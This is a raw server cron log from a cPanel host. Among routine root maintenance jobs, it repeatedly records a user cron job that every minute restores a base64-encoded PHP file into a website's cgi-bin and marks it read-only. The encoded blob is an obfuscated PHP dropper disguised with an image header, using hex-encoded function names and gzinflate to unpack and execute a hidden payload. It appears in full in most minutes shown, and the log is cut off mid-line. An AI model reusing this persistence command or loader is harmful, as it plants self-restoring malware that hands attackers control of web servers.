Sep 13 03:40:01 server CROND[30376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:40:01 server CROND[30377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:40:01 server CROND[30383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:40:01 server CROND[30384]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:40:01 server CROND[30394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:40:01 server CROND[30396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:41:01 server CROND[31255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:41:01 server CROND[31256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:41:01 server CROND[31257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:42:01 server CROND[31649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:42:01 server CROND[31650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:42:01 server CROND[31652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:42:01 server CROND[31651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:43:01 server CROND[32027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:43:01 server CROND[32028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:43:01 server CROND[32030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:44:01 server CROND[32508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:44:01 server CROND[32509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:44:01 server CROND[32510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:45:01 server CROND[470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:45:01 server CROND[472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:45:01 server CROND[475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:45:01 server CROND[476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:45:01 server CROND[478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:45:01 server CROND[474]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:45:01 server CROND[477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:46:01 server CROND[1477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:46:01 server CROND[1479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:46:01 server CROND[1480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:47:01 server anacron[10697]: Job `cron.daily' started
Sep 13 03:47:01 server run-parts(/etc/cron.daily)[1850]: starting imunify-antivirus.cron
Sep 13 03:47:01 server CROND[1873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:47:01 server CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:47:01 server CROND[1875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:48:01 server CROND[2297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:48:01 server CROND[2298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:48:01 server CROND[2299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:49:01 server CROND[2723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:49:01 server CROND[2725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:49:01 server CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:50:01 server CROND[3208]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:50:01 server CROND[3209]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:50:01 server CROND[3213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:50:01 server CROND[3215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:50:01 server CROND[3218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:50:01 server CROND[3221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:50:01 server CROND[3222]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:50:01 server CROND[3217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:50:01 server CROND[3220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:51:01 server CROND[4063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:51:01 server CROND[4065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:51:01 server CROND[4066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 